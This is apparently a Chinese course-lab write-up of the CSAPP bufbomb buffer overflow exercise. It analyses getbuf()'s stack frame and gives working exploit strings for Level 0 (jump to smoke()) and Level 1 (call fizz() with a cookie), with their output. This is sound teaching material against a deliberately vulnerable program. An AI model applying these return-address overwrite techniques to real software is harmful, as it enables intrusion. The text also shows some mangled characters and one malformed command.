CSAPP缓冲区溢出攻击实验(上)

下载实验工具。最新的讲义在这。

网上能找到的实验材料有些旧了，有的地方跟最新的handout对不上。只是没有关系，大体上仅仅是程序名(sendstring)或者參数名(bufbomb -t)的差异，不影响我们的实验。

1.实验工具

1.1 makecookie

后面实验中，五次“攻击”中有四次都是使你的cookie出如今它原本不存在的位置，所以我们首先要为自己产生一个cookie。

实验工具中的makecookie就是生成cookie用的。參数是你的名字：

[root@vm bufbomb]$ file makecookie 
makecookie: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped
[root@vm bufbomb]$ chmod +x makecookie

[root@vm bufbomb]$ ./makecookie cdai
0x5e5ee04e

1.2 bufbomb

bufbomb就是我们要“攻击”的程序，我下载的实验工具的这个版本号在运行时必须有-t这个參数，表示本人的名字：

[root@vm bufbomb]$ ./bufbomb 
You must include a team name with -t
Usage: ./bufbomb -t team [-n] [-s] [-h]
        -t team:   Specify team name
        -n :       Nitro mode
        -s :       Submit solution via email
        -h :       Print help information

[root@vm bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:I love 15-213
Dud: getbuf returned 0x1
Better luck next time

[root@vm bufbomb]$ ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:It is easier to love this class when you are a TA
Ouch!: You caused a segmentation fault!
Better luck next time

1.3 sendstring

sendstring小工具（新版叫做hex2raw）能读入我们的制作的string（十六进制）。将其发送到bufbomb的标准输入流。避免每次都要在终端上手动输入。cat管道或者直接重定向两种方式都行：

[root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai

[root@vm bufbomb]$ ./sendstring < cat exploit.raw | ./bufbomb -t cdai

2.热身准备

2.1 “漏洞”代码

以下这一段看似“无辜”的小函数就是产生安全漏洞的源头了，而最根源的root cause就是Gets()函数没有考虑buf缓冲区的大小。直接将用户输入的全部字符都保存进去。假设用户输入过多的字符，就会导致栈上某些数据被覆盖。从而造成了缓冲区溢出的危急：

int getbuf()
{
    char buf[12];
    Gets(buf);
    return 1;
}

2.2 缓冲区栈分析

在開始真正“攻击”之前。我们先要分析一下bufbomb调用getbuf()时的栈是什么样子的。

仅仅有全面的了解了栈结构。后面实验时我们才干随心所欲地“攻击”它。

首先，通过objdump反汇编getbuf()函数：

[root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave  
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret    
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

依据getbuf()的汇编代码，如今分析一下运行时的栈结构是什么样子。基础知识能够看六星经典CSAPP-笔记(3)程序的机器级表示中的“7.运行时的代码与栈”来高速温习一下。这里就不赘述了。

首先。未调用getbuf()之前。%ebp和%esp分别指向调用者test()的栈base地址和栈顶地址，此时栈世界还是一片“风平浪静”：

…………………………………………….. 0x??

<- %ebp

…………………………………………….. 0x00 <- %esp

当test()运行到call 时。依据之前的学习。call指令和getbuf()的前两条“惯用”指令会完毕这三件事儿：

call指令保存返回地址：所谓保存返回地址(return address)事实上就是 call指令将那一时刻的PC（%eip值，即call的下一条指令的地址）压入栈。还记得吗？由于PC自增在先，指令运行在后。所以运行完getbuf()的全部代码后，ret指令会恢复PC的值。程序就能够继续运行test()的剩余代码了。
getbuf()保存test()的%ebp：将test()栈帧的base地址压入到栈上。
getbuf()保存test()的%esp：将test()栈帧的栈顶地址保存到getbuf()的%ebp，作为getbuf()的base地址。
leave和ret指令会负责还原%ebp和%esp。

依据这三条“惯例”，每一个函数的栈初始时都是一样的：先是return address，然后是保存的调用者的%ebp，当前的%ebp就指向这。而%esp依据分配空间的大小指向了“更低处”。

接下来就是分析getbuf()独有的部分了。

開始进一步分析之前先确定两个规则：1）%ebp指向的地址作为0x00（相对地址）；2）下图中寄存器指向的横线的上方是该地址上的数据。

lea -0x18(%ebp),%eax：利用lea运行复杂运算，%eax = %ebp - 0x18 = 0x18
mov %eax,(%esp)：改动%esp指向位置的值作为Gets()的入參。%(esp) = -0x28位置的数据 = -0x18
call 80489c0 ：调用Gets()函数。

不考虑Gets()是怎样利用入參-0x18改动buf数组，默认它会完毕这个工作。那么getbuf()的栈在调用Gets()就是这个样子：

…………………………………………….. 0x??

……………………………………………..
Return Address
…………………………………………….. 0x04
Saved %ebp
…………………………………………….. 0x00 <- %ebp

……………………………………………..
-0x18 (%eax)
…………………………………………….. -0x28 <- %esp (&arg0)

了解到这里也就足够了。以下就能够进行实验了。

温习：call, leave, ret
call A：保存%eip，调用函数

push %eip

jmp A

leave：还原调用者的%ebp和%esp，为退出函数做准备

mov %ebp, %esp

pop %ebp

ret：改动%eip，返回调用者继续运行

pop %eip

进一步回想：
push A：将A压入栈，并改动栈顶指针%esp

mov A, (%esp)

%esp += 4

jmp A：改动%eip。“跳到别处”继续运行

mov A, %eip

2.3 GDB观察

GDB是Linux下强大的调试工具。简单使用说明例如以下：

gdb ：准备调试程序，等同于先gdb。再file 。
b ：为函数设置断点。
b是break的缩写。除了函数名。还能够是地址、当前运行处的+/-偏移等。
run ：開始运行程序。run后面能够加程序须要的參数，就像在命令行正常运行时那样。
s/n/si/c/kill：s即step in，进入下一行代码运行；n即step next。运行下一行代码但不进入。si即step instruction。运行下一条汇编/CPU指令；c即continue，继续运行直到下一个断点处。kill终止调试。
bt：bt是backtrace的缩写。打印当前所在函数的堆栈路径。
info frame ：描写叙述选中的栈帧。
info args：打印选中栈帧的參数。
print ：打印指定变量的值。
list：列出相应的源码。
quit：退出gdb。

3.“攻击”实验

3.1 Level 0: 蜡烛

实验1是要改动getbuf()的返回地址。在运行完getbuf()后不是返回到原来的调用者test()，而是跳到一个叫做smoke()的函数里。

而且不用操心我们会破坏栈的其它部分，由于反正smoke()运行后也是要终止程序，这也减少了难度。

void smoke()
{
    printf("Smoke!: You called smoke()
");
    validate(0);
    exit(0);
}

于是思路非常easy。依照前面的栈结构分析，我们仅仅需构造一段字符串让Gets()全部复制到buf数组了，从而造成缓冲区溢出。同一时候最重要的一点是：将smoke()函数的初始地址也放到构造的字符串内。使其恰好覆盖到getbuf()的return address位置。

那么第一步。我们先要知道smoke()的初始地址。

这非常easy。用objdump查看符号表或者.text都能找到：

[root@vm bufbomb]$ objdump -t bufbomb 

bufbomb:     file format elf32-i386

SYMBOL TABLE:
08048134 l    d  .interp        00000000              .interp
    ...
08048f40 g     F .text  0000002a              bushandler
08048eb0 g     F .text  0000002a              smoke
00000000       F *UND*  00000017              rand@@GLIBC_2.0
0804a1d0 g     O .bss   00000004              team
    ...

能够清楚地看到smoke的初始地址是0x08048eb0，万事俱备。如今就能够构造“攻击”字符串了！既然题目都说了，破坏栈中的其它部分数据没关系，那除了smoke的地址。其它我们都能够“瞎写”了。

buf第一个元素的地址是-0x18，而return address第一个字节的地址是0x04，两个位置的相差换算成换算成十进制就是0x04 - (-0x18) = 4 + 24 = 28。也就是说我们要构造28个字符，然后加上smoke()的地址就能准确覆盖到return address了。为了便于计数，我按00到99的顺序填充：

[root@vm bufbomb]$ cat exploit.raw
0011223344556677889900112233445566778899001122334455667708048eb0

出乎意料的是第一次运行却失败了，bufbomb提示segment fault，还以为前面分析都错了。结果原因却是我忘记了小尾端的事儿，直接将smoke()的首地址0x08048eb0放到exploit.new的末尾了，PC就会指向一个非法的内存地址了，当然就报段错误了。将地址调整成b0 8e 04 08后，果然成功了！

看到CMU对我说“NICE JOB!”热泪盈眶啊！

[root@vm bufbomb]$ cat exploit.raw
00112233445566778899001122334455667788990011223344556677b08e0408

[root@vm bufbomb]$ cat exploit.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Smoke!: You called smoke()
NICE JOB!
Sent validation information to grading server

3.2 Level 1: 烟火

实验2与实验1大同小异，都是让getbuf()的调用者test()（不是getbuf()）运行一个代码里未调用的函数。实验2中是fizz()函数。但实验2稍稍提高了难度。我们不仅要想法让test()运行fizz()，还要传入我们的cookie作为參数。让fizz()打印出来才算成功。

void fizz(int val)
{
    if (val == cookie)
    {
        printf("Fizz!: You called fizz(0x%x)
", val);
        validate(1);
    } else
        printf("Misfire: You called fizz(0x%x)
", val);

    exit(0);
}

第一步还是通过objdump -t查看符号表中fizz()函数的初始地址。拿到了地址0x08048e60，仅仅要用它替换掉之前exploit.raw中smoke()的地址就能让getbuf()运行完毕后返回到fizz()中（注意不要再忘记小尾端字节序）。也就通过缓冲区溢出造成了test()调用了fizz()的“假象”。

第二步非常easy，用makecookie生成我的username”cdai”的cookie是0x5e5ee04e，那么如今的问题是怎样正确设置fizz()的入參呢？之前我们着重温习了call运行时被调用者要做的三件事儿，如今就温习一下调用者要做的事儿。

重温一下getbuf()的反汇编代码，以getbuf()调用Gets()为例，看一下调用者的代码和相应的栈：

[root@vm bufbomb]$ objdump -S -d -z bufbomb | grep -A15 "<getbuf>:"
08048ad0 <getbuf>:
 8048ad0:       55                      push   %ebp
 8048ad1:       89 e5                   mov    %esp,%ebp
 8048ad3:       83 ec 28                sub    $0x28,%esp
 8048ad6:       8d 45 e8                lea    -0x18(%ebp),%eax
 8048ad9:       89 04 24                mov    %eax,(%esp)
 8048adc:       e8 df fe ff ff          call   80489c0 <Gets>
 8048ae1:       c9                      leave  
 8048ae2:       b8 01 00 00 00          mov    $0x1,%eax
 8048ae7:       c3                      ret    
 8048ae8:       90                      nop
 8048ae9:       8d b4 26 00 00 00 00    lea    0x0(%esi,%eiz,1),%esi

[root@vm bufbomb]$ objdump -d bufbomb | grep -A30 "<fizz>:"
08048e60 <fizz>:
 8048e60:   55                      push   %ebp
 8048e61:   89 e5                   mov    %esp,%ebp
 8048e63:   83 ec 08                sub    $0x8,%esp
 8048e66:   8b 45 08                mov    0x8(%ebp),%eax
    ...

调用Gets()之前。getbuf()负责将參数压入到栈上，參数位置是(%esp)，即栈顶所指的位置。有了这个知识。我们就能够为fizz()准备入參了。但要注意三点：

多个參数的顺序问题：假如Gets()有两个參数，參数在栈上的地址顺序是：低地址（靠近栈顶）是第一个參数。高地址是第二个參数。
栈指针%ebp和%esp：当我们溢出缓冲区到getbuf()栈上的return address位置时，实际上破坏了栈上的其它数据。包含Saved %ebp。
这样getbuf()运行return恢复%ebp时实际上是无法正常恢复到test()的位置了。注意：损坏的仅仅是%ebp。由于%esp是用%ebp还原的而不是在栈上保存的（leave=mov %ebp, %esp; pop %ebp）但这都没有关系。仅仅要開始运行fizz()，fizz()依照“惯例”会将事实上已“损坏”的%ebp再次保存到栈上，并从完善的%esp处继续运行。
别忘了return address：前面讲过call指令在跳转前会压入%eip作为return address。
也就是说fizz()的%ebp（指向saved %ebp）和调用者准备好的入參之间是隔着return address的。

这时的栈看起来非常别扭。这非常正常。由于正常情况下，getbuf()运行后应回到它的调用点，但由于我们有益破坏了它的栈，所以 getbuf()的return运行后却马上进入了还有一个函数fizz()，看起来也就不足为奇了。

…………………………………………………………………………….. 0x?

Data on caller’s stack => fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
Data on caller’s stack => fizz()’s return address: padding 00112233
…………………………………………………………………………….. 0x08
Return Address of getbuf() => fizz()’s entry point: 608e0408
…………………………………………………………………………….. 0x04
Saved %ebp => padding 44556677
…………………………………………………………………………….. 0x00 <- %ebp
Buf on getbuf()’s stack => padding 00~99 00~99 00~33
……………………………………………………………………………..
-0x18 (%eax)
…………………………………………………………………………….. -0x28 <- %esp (&arg0)

以下就是进入fizz()之后的样子：依照调用者“惯例”和call指令，入參和返回地址(%eip)被压入栈上。依照被调用者“惯例”，fizz将%ebp压入栈后移动到%esp，并移动%esp分配栈空间。一切都“正常”的仿佛就是test()调用的fizz()！

从fizz()的反汇编结果也验证了这一点。sub $0x8, %esp分配栈空间后。mov 0x8(%ebp), %eax将入參保存到寄存器%eax中。对比以下的栈，%ebp隔着压入栈的调用者的%ebp和返回地址8字节，因此0x8(%ebp)恰好就是我们“攻击”时放置的入參值。

…………………………………………………………………………….. 0x??

fizz()’s argument: 4ee05e5e
…………………………………………………………………………….. 0x0c
fizz()’s return address: 00112233
…………………………………………………………………………….. 0x08
Saved %ebp: 44556677
…………………………………………………………………………….. 0x04 <- %ebp

…………………………………………………………………………….. 0x00

…………………………………………………………………………….. -0x08 <- %esp

[root@vm bufbomb]$ cat exploit_level_1.raw 
00112233445566778899001122334455667788990011223344556677608e0408001122334ee05e5e

[root@vm bufbomb]$ cat exploit_level_1.raw | ./sendstring | ./bufbomb -t cdai
Team: cdai
Cookie: 0x5e5ee04e
Type string:Fizz!: You called fizz(0x5e5ee04e)
NICE JOB!
Sent validation information to grading server